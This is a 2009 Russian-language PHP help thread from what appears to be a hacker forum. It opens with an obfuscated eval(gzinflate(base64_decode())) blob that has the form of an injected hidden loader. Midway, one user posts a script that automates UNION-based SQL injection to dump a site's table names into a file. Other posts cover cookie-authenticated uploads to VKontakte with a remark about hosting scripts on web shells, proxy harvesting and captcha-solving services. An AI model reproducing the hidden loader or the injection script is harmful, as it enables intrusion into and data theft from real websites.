<?php eval(gzinflate(base64_decode('Dc5HbpxQAADQ48QWC2Do yoree2cT0THlDx2G08cHeNKrz3z8ap8f0Iz5Xn8V+VaT+L+qLt 9V/fWHKxVlWDSWZQX3YaYMbzkV2ZecRSeeUJ5MnLchjbttOgUUQkk J0FZSYlngBLfHRCHk3IkDt05E3lWYYFAoURSGcJ4UNopzhqW+k K0xG31dHRFPbDM/4JQ/Ye3EQl5NWx77cMyP6aHkHuqPR+j5kDce/nakfVRDplfkhwouhDHcuc66UCoCrX5so0zVyeQtaaT2AQUNTn+ cQpWIlj9UEGRJFmfii71tfTQAj8qao6ub/AYkMcJ6DdpRpu6BwZ2POL2aF0Gtwygj4nyAQLqcQbkombB8i5K 0w1cQIuNeyrqnAnEkA71zSOpCIHgHb3+6CkxnIes6OfSDhZXd7 We0TSaG+u6xWXicuOcuqhKJ5t22OlYhxzRsTkFo8zC7kB9izbY Pj8x78frVbBrNmXuPq5TCh6z3QJP5EQ80wHlECVaX1mzO1F6SV HYJE4RKvw4/Wod1OTRVTss2sqgU6mn99Pkg1htC+n1aCKDU/K6c7ArCg9/AsF4ZYlfi0Tj+4mizbU90dvjGob3l+/M+evOphGd3qTFm5qo4TXqJeiWxitMS2E6+afphC2S5gEGsSrTH QfFUtQx5HbKkd3jz/rAQyiuDlwj3xW0pmkWwF3fydbVZxxrpRTW2WzGK4is5jY43a3q 7ai/GAEHDGAM3DUwLf76/v//+Bw==')));?>

okthxnz
14.08.2009, 18:10
Спасибо, и еще вопрос
есть у каво php скрипт чтоб награбить проксиков с веба, и html форма для заливки файлов с линка на прокс листы?

Gaus
14.08.2009, 18:33
html форма для заливки файлов с линка на прокс листы?
Не совсем понял)

okthxnz
14.08.2009, 18:37
Не совсем понял)

чтоб залить скрипт на сервер, указываешь линком на прокси серв и потом сохраняешь)))

попробую в нете поискать(

так что то нашол, шас проверю работоспособность и выложу)

JIexaPol
14.08.2009, 18:55
<?
set_time_limit(0);
$fsites="sites.txt";//список сайтов, прокси листов
$fproxy="proxy.txt";//файл для прокси

$f=fopen($fproxy,"w+");fclose($fproxy); //очищение файла перед сборкой прокси

get_proxy($fsites,$fproxy); // сборка :)


//сама функция
function get_proxy($fsites,$fproxy) {

$file=file($fsites);

foreach($file as $v) {
$x=parse_url(trim($v));
$fp = fsockopen($x['host'],80);
if($fp) {
$head = "GET /".$x['path']." HTTP/1.0\r\n";
$head .= "Host: ".$x['host']."\r\n\r\n";
fwrite($fp,$head);

$body = "";
while(!feof($fp)) {
$body .= fgets($fp);}

preg_match_all("/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*:[0-9]*/is",$body,$mat);

$proxy='';

foreach($mat[0] as $v) {
$proxy.=$v."\n";
}

$f=fopen($fproxy,'a+');
fputs($f,trim($proxy)."\n");
fclose($f);
}
//sleep(2);
}

}
?>

не оно? этот скрипт берет ссылки на прокси листы и собирает прокси в текстовый файл

okthxnz
14.08.2009, 18:58
<?
set_time_limit(0);
$fsites="sites.txt";//список сайтов, прокси листов
$fproxy="proxy.txt";//файл для прокси

$f=fopen($fproxy,"w+");fclose($fproxy); //очищение файла перед сборкой прокси

get_proxy($fsites,$fproxy); // сборка :)


//сама функция
function get_proxy($fsites,$fproxy) {

$file=file($fsites);

foreach($file as $v) {
$x=parse_url(trim($v));
$fp = fsockopen($x['host'],80);
if($fp) {
$head = "GET /".$x['path']." HTTP/1.0\r\n";
$head .= "Host: ".$x['host']."\r\n\r\n";
fwrite($fp,$head);

$body = "";
while(!feof($fp)) {
$body .= fgets($fp);}

preg_match_all("/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*:[0-9]*/is",$body,$mat);

$proxy='';

foreach($mat[0] as $v) {
$proxy.=$v."\n";
}

$f=fopen($fproxy,'a+');
fputs($f,trim($proxy)."\n");
fclose($f);
}
//sleep(2);
}

}
?>

не оно? этот скрипт берет ссылки на прокси листы и собирает прокси в текстовый файл

Воо... работает, спасиб, держи +)

xtra
14.08.2009, 22:41
Доброго вечера всем.
Вообщем есть скрипт листинга директории, скрипт генерирует ссылки на файлы.
вопрос, какой функцией можно сделать сокращение имени файла
само собой ниже сам скрипт


<?php
$thelist = array();
$dir = './upload/ftp/';
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != ".." && $file !="index.php" && $file !=".ftpquota") {
$file = $file;
$thelist[] = array('file' => $file, 'filemtime' => filemtime($file), 'filesize' => filesize($file));
}
}

closedir($handle);
}
?>
<?php
for($i = 0; $i < count($thelist); $i++) {
?><a href="sitename/<?=$thelist[$i]['file']?>"><?=$thelist[$i]['file']?></a><?php
}
?>

5triker
14.08.2009, 22:44
$file = $file;
хороший код...

xtra
14.08.2009, 22:49
зачётно, но раньше в этой строчке было что то ещё (ну тоесть не было $file = $file;), я честно говоря не помню что, но строчка осталась, спасибо за внимательность.

L I G A
14.08.2009, 23:18
$file = $file;
хороший код...
сюда глянь:
false !== ($file = readdir($handle)


какой функцией можно сделать сокращение имени файла
никак ,с другим именем ссылка работать не будет.
но разве что на выводе
<?=substr($thelist[$i]['file'],0,length)?>
length -максимальная длина.

SaiRus
15.08.2009, 00:26
у меня вопрос как реализуется вывод данных из таблицы по 10 штук к примеру...допустим записей 20 сначало первые 10 вывел потом, вторые по нажатии на кнопку


<?php i=$_SESSION['n']; do {

/*вывод полей*/

}
while ($comment = mysql_fetch_array($result1)

and $i<>$_SESSION['n']+10)

?>



потом после цикла сделать что то типа $_SESSION['n']=i; или как подскажите пожалуйста?
и если обратно надо, т.е. предидущие 10 то есть какой нибудь DownTO аналог или как делать :) Down это про меня :)

FireFenix
15.08.2009, 00:31
Для создания типа списка с листами используется запрос

SELECT * FROM table WHERE field="value" LIMIT start,count

где start - начальная позиция в базе, count - количество выбираемых строк

при генерации ссылки на страницы генерируется page * count для каждой страницы, что указывает на начало выборки, типа

<a href="view.php?start=0">1</a>
<a href="view.php?start=10">2</a>
<a href="view.php?start=20">3</a>


Если же просто нужно подсчитать, то в цикле for или в while - добавить счётчик....
Обратно отлистать - нельзя! Только повторить запрос и заного сосчитать до заданного количества...

SaiRus
15.08.2009, 00:41
FireFenix, спасибо я вот тут (http://www.phpfaq.ru/paginator) еще нашел :) далеко гугл запрятал ответ :) запарился искать :)

Patronik
15.08.2009, 12:12
у меня вопрос как реализуется вывод данных из таблицы по 10 штук к примеру...допустим записей 20 сначало первые 10 вывел потом, вторые по нажатии на кнопку


<?php i=$_SESSION['n']; do {

/*вывод полей*/

}
while ($comment = mysql_fetch_array($result1)

and $i<>$_SESSION['n']+10)

?>



потом после цикла сделать что то типа $_SESSION['n']=i; или как подскажите пожалуйста?
и если обратно надо, т.е. предидущие 10 то есть какой нибудь DownTO аналог или как делать :) Down это про меня :)

Можно еще так сделать:

$num = mysql_num_rows($result);
$num2 = $num;
$start = 0;
for ($i = $start; $i<$num; $i++)
{
if ($num > $start + 10){$num = $start + 10;}

if ($row = mysql_fetch_array($resalt))
{
echo' '.$row['message'].'<br>';
}
}

if ($num < $start + 10)

{
if ($start != 0)
{
print "<div align=left><A href=guest_book.php?start=".($start - 10).">Попередні</A></div>";
}

}

if ($num2 > $start + 10)
{
print "<div align=right><A href=guest_book.php?start=".($start + 10).">Наступні</A></div>";
}



Должно работать но точно не обещаю так как в своем случае читал не из базы а из файла.

Respekt(GreenSea)
15.08.2009, 12:31
Вопрос ламерский но все же)))как менять шрифт,размер,стиль букв када выводиш слова на страницу

Кубик Рубик
15.08.2009, 12:51
Это делается при помощи CSS.

5triker
15.08.2009, 13:20
http://www.abc-it.lv/index.php/id/655

ufalog
15.08.2009, 13:26
<div id="lbox" style="margin:6px 0">
<div id="box_t1"><?=$lang[598]?></div>
<div class="p">
<div id="cat_nav" >

<?
if (@$_GET['city']){
$GLOBALS['start_for_links'] = "city/".htmlspecialchars($_GET['city'])."/";
$GLOBALS['end_for_links'] = "sort/city_asc/page/1/";
}
else {
$GLOBALS['start_for_links'] = ""; $GLOBALS['end_for_links'] = "sort/date_desc/page/1/";
}

$GLOBALS['host'] = $h;
function listcat2($id, $sub)
{
$categories = mysql_query("SELECT * FROM jb_board_cat WHERE root_category = $id ORDER by name_cat");
while($category = mysql_fetch_array($categories))
{
$count = mysql_num_rows(mysql_query("SELECT * FROM jb_board WHERE old_mess = 'old' AND id_category='".$category['id']."' ".@$city_from_search));
$query = mysql_query("SELECT * FROM jb_board_cat WHERE root_category = ".$category['id']);
@$count_subcat_mthe_cat = mysql_num_rows($query);
if (@$GLOBALS['city_name_from_tips']) $tip_city = "".$GLOBALS['city_name_from_tips']; else $tip_city = "";
if(!@$count) echo "<span style='display:none;' href=\"".$GLOBALS['host']."/advertisement/".@$GLOBALS['start_for_links']."nesting/".$category['id']."/".@$GLOBALS['end_for_links']."\" >".$category['name_cat']."</span>";
else echo "<a href=\"".$GLOBALS['host']."/advertisement/".@$GLOBALS['start_for_links']."nesting/".$category['id']."/".@$GLOBALS['end_for_links']."\">".$category['name_cat']."&nbsp;(".$count.")</a>";
listcat2($category['id']);
}
}

$categories = mysql_query("SELECT * FROM jb_board_cat WHERE root_category = 0 ORDER by name_cat");
while($category = mysql_fetch_assoc($categories))
{

echo "<div onClick=\"details(9999".$category['id'].");\">".$category['name_cat']."</div><span id=\"9999".$category['id']."\" style=\"DISPLAY: none;\">";
listcat2($category['id']);
echo "</span>";
}
?> </div></div>
</div>

Respekt(GreenSea)
15.08.2009, 14:09
спс)

b3
15.08.2009, 17:19
Вопрос ламерский но все же)))как менять шрифт,размер,стиль букв када выводиш слова на страницу
Это делается при помощи CSS.
Ну нафига советы такие давать, для использования css нужно хоть немного знать html а судя по посту, товаресчь незнаком с http://ru.wikipedia.org/wiki/HTML которому можно обучится за пару дней (основам)
форматирование текста производится тэгом <font>
<font color=red size=3> - тут типа цвет красный, размер 3 пункта, гугли вообщем тематическую литературу.

L I G A
15.08.2009, 19:24
Ну нафига советы такие давать
но почему же? вполне объективный ответ.

как менять шрифт,размер,стиль букв када выводиш слова на страник менять шрифт
например при помощи html ты шрифт не изменишь

Pashkela
15.08.2009, 19:30
например при помощи html ты шрифт не изменишь


мда...

<font face="Times New Roman"><font color="#000000" style="font-size: 10pt">

L I G A
15.08.2009, 19:32
например при помощи html ты шрифт не изменишь


мда...

<font face="Times New Roman"><font color="#000000" style="font-size: 10pt">
да за face не подумал но:
style="font-size: 10pt"
уже css

geforse
15.08.2009, 19:36
можно код попроще для генерации английских букв

хотел base64_encode(time()), но там == появляется постоянно,попробовал извратиться с помощью str_replace, но думаю есть более рационально решение ?

FireFenix
15.08.2009, 19:42
Самый простой =)
<?php

$length = 10; //длина слова
$text = 'abcdefghijklmopkqrstuvwxyz'; //набор символов

for ($i = 0; $i < $length; $i++)
{
$result .= $text{rand(0, strlen($text) - 1)};
}

echo($result);

?>

Patronik
15.08.2009, 19:45
<div id="lbox" style="margin:6px 0">
<div id="box_t1"><?=$lang[598]?></div>
<div class="p">
<div id="cat_nav" >

<?
if (@$_GET['city']){
$GLOBALS['start_for_links'] = "city/".htmlspecialchars($_GET['city'])."/";
$GLOBALS['end_for_links'] = "sort/city_asc/page/1/";
}
else {
$GLOBALS['start_for_links'] = ""; $GLOBALS['end_for_links'] = "sort/date_desc/page/1/";
}

$GLOBALS['host'] = $h;
function listcat2($id, $sub)
{
$categories = mysql_query("SELECT * FROM jb_board_cat WHERE root_category = $id ORDER by name_cat");
while($category = mysql_fetch_array($categories))
{
$count = mysql_num_rows(mysql_query("SELECT * FROM jb_board WHERE old_mess = 'old' AND id_category='".$category['id']."' ".@$city_from_search));
$query = mysql_query("SELECT * FROM jb_board_cat WHERE root_category = ".$category['id']);
@$count_subcat_mthe_cat = mysql_num_rows($query);
if (@$GLOBALS['city_name_from_tips']) $tip_city = "".$GLOBALS['city_name_from_tips']; else $tip_city = "";
if(!@$count) echo "<span style='display:none;' href=\"".$GLOBALS['host']."/advertisement/".@$GLOBALS['start_for_links']."nesting/".$category['id']."/".@$GLOBALS['end_for_links']."\" >".$category['name_cat']."</span>";
else echo "<a href=\"".$GLOBALS['host']."/advertisement/".@$GLOBALS['start_for_links']."nesting/".$category['id']."/".@$GLOBALS['end_for_links']."\">".$category['name_cat']."&nbsp;(".$count.")</a>";
listcat2($category['id']);
}
}

$categories = mysql_query("SELECT * FROM jb_board_cat WHERE root_category = 0 ORDER by name_cat");
while($category = mysql_fetch_assoc($categories))
{

echo "<div onClick=\"details(9999".$category['id'].");\">".$category['name_cat']."</div><span id=\"9999".$category['id']."\" style=\"DISPLAY: none;\">";
listcat2($category['id']);
echo "</span>";
}
?> </div></div>
</div>



Функция mysql_num_rows возвращает количество искомых екземпляров в результате запроса. Потом она записивает ето количество в $count.

nulledzzz
16.08.2009, 00:11
Автоматическое скрытие ссылок в DLE параметром -hide-
есть DataLife Engine v.8.0.
Суть проблемы - нужно в награбливаемых граббером рсс полных новостях автоматически скрывать параметром hide ссылки на скачивание.
Как это сделать?

Zedi
16.08.2009, 02:11
в грабере сделать поиск ссылок регуляркой и удалять их)

b3
16.08.2009, 04:54
в грабере сделать поиск ссылок регуляркой и удалять их)
Заменять точнее =)
nulledzzz
preg_replace нашел регуляркой ссылку, и заменил её на ''.$replacement.''


Вопрос ко всем:
Как в GD2 писать русским текстом по изображению, пробывал несколько вариантов, не помогло, вот код:


<?php
header("Content-type: image/png");
function htmlcolor($img,$color) {
sscanf($color, "%2x%2x%2x", $red, $green, $blue);
return ImageColorAllocate($img,$red,$green,$blue);
return($c);
}
$string = 'Погода в городе:';
$string = iconv("windows-1251", "UTF-8", $string);

$im = imagecreatefrompng("1.png");
$eaffca = htmlcolor($im,"eaffca");
$px = (imagesx($im) - 7.5 * strlen($string)) / 2;

imagestring($im, 3, $px, 9, $string, $eaffca);
imagepng($im);
imagedestroy($im);
?>

пробывал так же:

function toUnicodeEntities($text, $from="w")
{
$text = convert_cyr_string($text, $from, "i");
$uni = "";
for ($i=0, $len=strlen($text); $i<$len; $i++)
{
$char = $text{$i};
$code = ord($char);
$uni .= ($code>175)? "&#" . (1040+($code-176)) . ";" : $char;
}
return $uni;
}


и

$str=convert_cyr_string("Some text","k","w");

непомогло.

Zedi
16.08.2009, 09:21
встроенные шрифты php не поддерживают кириллицу, поэтому нужно использовать imagettftext() и обязательно шрифт русский язык должен поддерживать, а если все же хочешь функцией imagestring то надо вместе с ней использовать imageloadfont(file), но там шрифты не ttf а специальные для php, так что придется самому создавать прогой PHP Font Editor

-=Zhenek=-
16.08.2009, 09:41
//## перекодировка unicode UTF-8 -> win1251
function utf8_win($s){
$out="";
$c1="";
$byte2=false;
for ($c=0;$c<strlen($s);$c++){
$i=ord($s[$c]);
if ($i<=127) $out.=$s[$c];
if ($byte2){
$new_c2=($c1&3)*64+($i&63);
$new_c1=($c1>>2)&5;
$new_i=$new_c1*256+$new_c2;
if ($new_i==1025){
$out_i=168;
}else{
if ($new_i==1105){
$out_i=184;
}else {
$out_i=$new_i-848;
}
}
$out.=chr($out_i);
$byte2=false;
}
if (($i>>5)==6) {
$c1=$i;
$byte2=true;
}
}
return $out;
}


Используй ее для передодировки.

FireFenix
16.08.2009, 10:52
о беда, iconv() религия не позволяет юзать?

5triker
16.08.2009, 13:33
//## перекодировка unicode UTF-8 -> win1251
function utf8_win($s){
$out="";
$c1="";
$byte2=false;
for ($c=0;$c<strlen($s);$c++){
$i=ord($s[$c]);
if ($i<=127) $out.=$s[$c];
if ($byte2){
$new_c2=($c1&3)*64+($i&63);
$new_c1=($c1>>2)&5;
$new_i=$new_c1*256+$new_c2;
if ($new_i==1025){
$out_i=168;
}else{
if ($new_i==1105){
$out_i=184;
}else {
$out_i=$new_i-848;
}
}
$out.=chr($out_i);
$byte2=false;
}
if (($i>>5)==6) {
$c1=$i;
$byte2=true;
}
}
return $out;
}


Используй ее для передодировки.

пичаль...

Kaimi
16.08.2009, 13:46
о беда, iconv() религия не позволяет юзать?

iconv не всегда корректно преобразовывает из утф в 1251

Zedi
16.08.2009, 14:32
Причем здесь вообще кодировки? Я же сказал что это изза шрифтов

geforse
16.08.2009, 18:01
Как можно средствами php загружать фотографию на сторонний сервер ?
Я иммею ввиду допустим хочу обновить аватар свой на форуме или вконтакте, что куда мне слать ?
Можно один любой пример глянуть ?)

Ни разу такого не делал и в гугле ничего полезного не нашёл :(

Joker-jar
16.08.2009, 18:15
geforse, все сводится к выполнению одного или последовательности из нескольких http-запросов. Делается на curl'е, либо на сокетах. Какие именно запросы нужно выполнять можно посмотреть через снифер, воспроизводя действия в браузере

NuR
16.08.2009, 18:20
2geforse http://web-accent.com/curl-otpravka-fajla-na-server-metodom-post.htmlчто то вроди этого
http://web-accent.com/curl-otpravka-fajla-na-server-metodom-post.html
если читать умеешь разберешься. а сниферком все равно придется узнать на какой скрипт и с какими полями шлется

mailbrush
16.08.2009, 20:24
Такая проблема с GD в Delphi.
Вобщем есть точка, скажем, X100 Y150.
Есть другая точка, X200 Y220.
Надо провести линию (imageline) между этими точками, НО чтобы линия расстянулась, т.е. вместо того, чтобы быть в точке 100x150 была чуть-чуть выше по X и по Y, и вместо 200х220 была чуть-чуть ниже по X, Y, но чтобы она проходила между этими точками(100x150, 200x220)

ufalog
16.08.2009, 20:28
Функция mysql_num_rows возвращает количество искомых екземпляров в результате запроса. Потом она записивает ето количество в $count.

ет конечно хорошо... но как ее ПРАВИЛЬНО УБРАТЬ ету функцию?

b3
16.08.2009, 21:06
geforse
Как можно средствами php загружать фотографию на сторонний сервер ?
Я иммею ввиду допустим хочу обновить аватар свой на форуме или вконтакте


function upload_avatar($email,$pass,$id)
{

$ch = curl_init('http://vkontakte.ru/profileEdit.php?page=photo');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
curl_setopt($ch, CURLOPT_COOKIE, "remixlang=0; remixchk=5; remixmid=$id; remixemail=$email; remixpass=$pass;");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$res = curl_exec($ch);
curl_close($ch);

if(preg_match_all('#action="(.*?)"#',$res, $url2))
{
$action_url = $url2[1][1];
$data = array(
'photo' => "@".$_SERVER['DOCUMENT_ROOT'].'vk_ava/ava.png',
'subm' => '1'
);

$ch = curl_init($action_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
curl_setopt($ch, CURLOPT_COOKIE, "remixlang=0; remixchk=5; remixmid=$id; remixemail=$email; remixpass=$pass;");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$res = curl_exec($ch);
curl_close($ch);

}
}


ЗЫ пасс передавай в мд5, с спецом убрал из функции строчку
$pass = md5($pass); вдруг будеш хостить на шелах скрипт, что пас не был открытом виде

FireFenix
16.08.2009, 21:47
Такая проблема с GD в Delphi.
Вобщем есть точка, скажем, X100 Y150.
Есть другая точка, X200 Y220.
Надо провести линию (imageline) между этими точками, НО чтобы линия расстянулась, т.е. вместо того, чтобы быть в точке 100x150 была чуть-чуть выше по X и по Y, и вместо 200х220 была чуть-чуть ниже по X, Y, но чтобы она проходила между этими точками(100x150, 200x220)
Векторы =))

AB - вектор с точками A(100; 150), B(200; 220)

смещение вектора от 0,0 будет min(A,B) = (100; 150)

приводим вектор в локальные координаты abs(A-B) => A'(0 ; 0) B'(100; 70)

находим зависимость x от y
k = B'(x) / B'(y) = ~1,43

теперь мы можем спокойно взять любую точку от вектора... скажем 10 пикселей по y от точки B => B(y) + 10

мировые координаты
B(y) = смещение(y) + B'(y) + 10 = B(y) + 10 = 230
B(x) = смещение(x) +(B'(y) + 10)*k = 100 + 80*1.43 = ~214,4

задаём смещение от краёв и проводим линию =)

+casper+
17.08.2009, 03:23
Warning: fopen(сайт.ру/bulkdata.csv) [function.fopen]: failed to open stream: HTTP wrapper does not support writeable connections in /home/123456/domains/сайт.ру/public_html/adminstat.php on line 23

На файле права 777, ошибки в пути нет(((
Что может быть?

rushter
17.08.2009, 03:25
wrapper does not support writeable connections
Ты хочешь открыть http соединение на запись.Делай так
$responce = file_get_contents("url");

+casper+
17.08.2009, 03:38
Ок, спасибо!

no_xxx
17.08.2009, 10:24
как задать маску поиска для preg_match_all

имеем строчку:
<а hrеf="nomer.php?uin=143555">номер</а>

нужно вытащить только номер... чегото я совсем туплю =(

заранее спасибо.

dinar_007
17.08.2009, 10:28
как задать маску поиска для preg_match_all

имеем строчку:
<а hrеf="nomer.php?uin=143555">номер</а>

нужно вытащить только номер... чегото я совсем туплю =(

заранее спасибо.
uin\=(.*)"

no_xxx
17.08.2009, 11:02
uin\=(.*)"

пасибо =)

geforse
17.08.2009, 13:52
Помогите с антикапчей, никогда с ней не работал, а тут решил попробовать

Вообщем делаю всё как тут (http://ac-service.info/curl.txt) написано через cURL

Но постоянно вылезает ошибка:
ERROR_WRONG_ID_FORMAT - ID капчи, который вы передаете не является числом

И что это значит ? разве ид не должны мне давать ?

Gifts
17.08.2009, 13:56
geforse Замените все строки с "anti-captcha.com" на "ac-service.info".

art2222
17.08.2009, 13:57
$is_numeric - 0 либо 1 - флаг "капча состоит только из цифр"
ERROR_WRONG_ID_FORMAT - ID капчи, который вы передаете не является числом


Может ошибка в этом?

geforse
17.08.2009, 14:02
geforse Замените все строки с "anti-captcha.com" на "ac-service.info".

я уже догадался )

Может ошибка в этом?

нет, не в этом :(

nulledzzz
17.08.2009, 15:03
Заменять точнее =)
nulledzzz
preg_replace нашел регуляркой ссылку, и заменил её на ''.$replacement.''


Пожалуйста, А можно более точно?
Допустим, в каком файле какой код изменить и добавить. :confused:

max_rebel
17.08.2009, 18:09
не могу разобраться с поиском по БД=((

есть такой код
(хоть бы правильно оформить,хоть бы правильно оформить=) ):



$res= mysql_query("SELECT * FROM articles WHERE MATCH(text) AGAINST ('$search')", $db); $myrow=mysql_fetch_array($res); do { printf ("<font class='news_title'>%s</font> <p class='news_date'>Статья добавлена:&nbsp;%s</p> <p>%s</p>",$myrow["title"],$myrow['date'],$myrow["text"]); } while ($myrow=mysql_fetch_array($res));



но он ничего не выводит.
echo "проверка"; работает в любом месте скрипта. В бд на кнопку index нажал т.е. таблица учавствует в поиске(правильно?). Как ещё можно устроить поиск по таблице в БД? спс

max_rebel
17.08.2009, 18:12
блин как код овормить?? копирую из дримвивера и вставляю через кнопку php а всё равно все переносы строк исчезают=(

FireFenix
17.08.2009, 18:19
Как вариант все Lf заменить на CrLf

или выставить в настройка формат переноса - Windows CRLF

KaZ@NoVa
17.08.2009, 18:24
блин как код овормить?? копирую из дримвивера и вставляю через кнопку php а всё равно все переносы строк исчезают=(
возможно тебе следует пойти несколько более изощренным путем, и сначала скопировать в текстовый редактор.. ;) :rolleyes:

max_rebel
17.08.2009, 18:29
спасибо=) А с поиском по БД то что? есть идеи?

FireFenix
17.08.2009, 18:31
полнотекстовый поиск работает тока MyISAM.... для кросс табличности лучше LIKE
Если же нужно полное соответствие текста, то самое лучшее брать WHERE field="value"

думаю нормальный пхп код должен выглядеть и работать так:

<?php

$query = 'SELECT * FROM articles WHERE text LIKE "%' . $search . '"%';
$result= mysql_query($query, $db);

while($fetch = mysql_fetch_array($result))
{
echo('<font class="news_title">' . $myrow['title'] . '</font><p class="news_date">Статья добавлена:&nbsp;' . $myrow['date'] . '</p><p>' . $myrow['text'] . '</p>');
}

?>

Велемир
17.08.2009, 18:51
Пипл,как замутить что-то вроде слайд-шоу с изменением цвета текста ?



header("Content-Type: image/png");

function w($x1,$y1,$z1) {

$r = imagecreate("180","345");
$bc = imagecolorallocate($r,255,255,255);
$tc = imagecolorallocate($r,$x1,$y1,$z1);
imagestring($r,5,50,80,"Fuck you!",$tc);
imagepng($r);

}

for ($i = 0; $i < 255; $i++ ) {

w($x1 = $i;$y1 = $i + 2;$i = $i + 5);
sleep(1);

}



Тупо грузит страницу:(.

FireFenix
17.08.2009, 18:56
юзать JS + SetInterval


var elem = getElementById('text');
elem.style.color = 'red';


Либо GIF + анимация
Либо Flash

Велемир
17.08.2009, 19:05
Gif+Анимация ? Эт как.

imajo.ati
17.08.2009, 20:28
жто анимированный gif

KaZ@NoVa
17.08.2009, 23:08
Пипл,как замутить что-то вроде слайд-шоу с изменением цвета текста ?



header("Content-Type: image/png");

function w($x1,$y1,$z1) {

$r = imagecreate("180","345");
$bc = imagecolorallocate($r,255,255,255);
$tc = imagecolorallocate($r,$x1,$y1,$z1);
imagestring($r,5,50,80,"Fuck you!",$tc);
imagepng($r);

}

for ($i = 0; $i < 255; $i++ ) {

w($x1 = $i;$y1 = $i + 2;$i = $i + 5);
sleep(1);

}



Тупо грузит страницу:(.




Функция imagepng —Записывает изображение на диск в формате PNG

а разве формат PNG делает анимированные фото???

PNG это не подвижная графика, с возможностью не линейной загрузки .

просто можно не GIF, но в результате будешь руками делать 5 фоток и менять их JS скриптом - лишняя морока которая реализована в GIF
сделай GIF, анимированную и просто ссылку на неё
..

lucky_guy
18.08.2009, 04:19
вот такой вопросик:
допустим некто обнаружил гдето sql inj,
http://bla-bla.com./index.php?id=-'+union+select+1,table_name+from+information_schem a.tables+limit+(i),1/*;
как состряпать цикл который переберал бы запросы, с каждым разом увеличивая (i), а таблички записывал бы в файл?

PROPH3T
18.08.2009, 06:11
Есть скрипт, в нём осуществляется переход по конкретной ссылке,
после перехода необходимовставить не большой java-скрипт в строку адреса и "перейти" по нему...
а то, что отобразится на экране после всего этого - необходимо записать в файл...


Не знаю как поступить с js. Подскажите, это вообще осуществимо в php скрипте, если да, то как?...
Заранее спасибо.

lucky_guy
18.08.2009, 09:06
ааа все ребят, я сам состряпал, всю ночь кряхтел! можете поздравить меня с моим первым php скриптом!!<?php
echo "-----------------------\n";
echo "|SQL-injection Grabber|\n";
echo "|Povered by lucky_guy!|\n";
echo "-----------------------\n";

$file = "result.txt";
if (is_writable($file)) {
if (!$fop = fopen($file, 'a')) {
echo "Cannot open file";
exit;}}
else {
echo "The file file is not writable";
}

for ($i=1;$i<100;$i++) {
$url = fopen("http://bla-bal.com/index.php?id=5'+union+all+select+1,table_name+from +information_schema.tables+limit+$i,1/*", "r");
while (!feof($url)) {
$buffer = fgets($url, 128);{
fwrite($fop, $buffer);
}
}}
fclose($url);
fclose($fop);

echo "-----------------------\n";
echo "| DONE! |\n";
echo "-----------------------\n";
?>

lucky_guy
18.08.2009, 09:08
теперь другой вопрос:
как отпарсить то что получилось?

KaZ@NoVa
18.08.2009, 10:39
Есть скрипт, в нём осуществляется переход по конкретной ссылке,
после перехода необходимовставить не большой java-скрипт в строку адреса и "перейти" по нему...
а то, что отобразится на экране после всего этого - необходимо записать в файл...


Не знаю как поступить с js. Подскажите, это вообще осуществимо в php скрипте, если да, то как?...
Заранее спасибо.
Не совсем понял, что тебе нужно.

>необходимо вставить не большой java-скрипт в строку адреса и "перейти" по нему...
header('location: '.$variable);

>а то, что отобразится на экране после всего этого - необходимо записать в файл...
В файл на сервере? Можно вручную выводить в файл и на stdout (юзеру). Либо читай про функцию ob_start()
Насколько я помню, JS не поддерживает работу с ФС пользователя

Dr1ver
18.08.2009, 17:48
Подскажите, как сделать GIF анимацию на PHP ?
Хочу аниированную капчу замутить

SaiRus
18.08.2009, 18:02
<?
session_start ();

switch ($a) {
case 'image':
$im = @imagecreate (80, 20) or die ("Cannot initialize new GD image stream!");
$bg = imagecolorallocate ($im, 232, 238, 247);
$char = $_SESSION['code'];

//создаём шум на фоне
for ($i=0; $i<=128; $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255)); //задаём цвет
imagesetpixel($im, rand(2,80), rand(2,20), $color); //рисуем пиксель
}

//выводим символы кода
for ($i = 0; $i < strlen($char); $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255)); //задаём цвет
$x = 5 + $i * 20;
$y = rand(1, 6);
imagechar ($im, 5, $x, $y, $char[$i], $color);
}

/*/упрощённый вариант
$color = imagecolorallocate($img, 0, 0, 0);
imagestring($im, 3, 5, 3, $char, $color);*/

//антикеширование
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

//создание рисунка в зависимости от доступного формата
if (function_exists("imagepng")) {
header("Content-type: image/png");
imagepng($im);
} elseif (function_exists("imagegif")) {
header("Content-type: image/gif");
imagegif($im);
} elseif (function_exists("imagejpeg")) {
header("Content-type: image/jpeg");
imagejpeg($im);
} else {
die("No image support in this PHP server!");
}
imagedestroy ($im);
break;
case 'submit':
//проверка кода
if (empty($_GET['code']) or empty($_SESSION['code'])) {
echo 'Вы не указали код подтверждения';
} elseif ($_GET['code'] != $_SESSION['code']) {
echo 'Код подтверждения не совпадает';
} else {
echo 'Всё Ok!';
}
break;
default:
$_SESSION['code'] = substr(md5(uniqid("")),0,4);
echo '<form action="captcha.php" method="get">'.
'<input type="hidden" name="a" value="submit">'.
'<label for="code">Код подтверждения:</label>'.
'<input type="text" id="code" name="code" size="4" maxlength="4">'.
'<img align="absmiddle" src="captcha.php?a=image">'.
'<input type="submit" value="Go">'.
'</form>';
break;
}
?>
как то так

mailbrush
18.08.2009, 18:04
http://turenko.com/blog/2007/07/09/gif-animation-using-php/

Dr1ver
18.08.2009, 18:55
<?
session_start ();

switch ($a) {
case 'image':
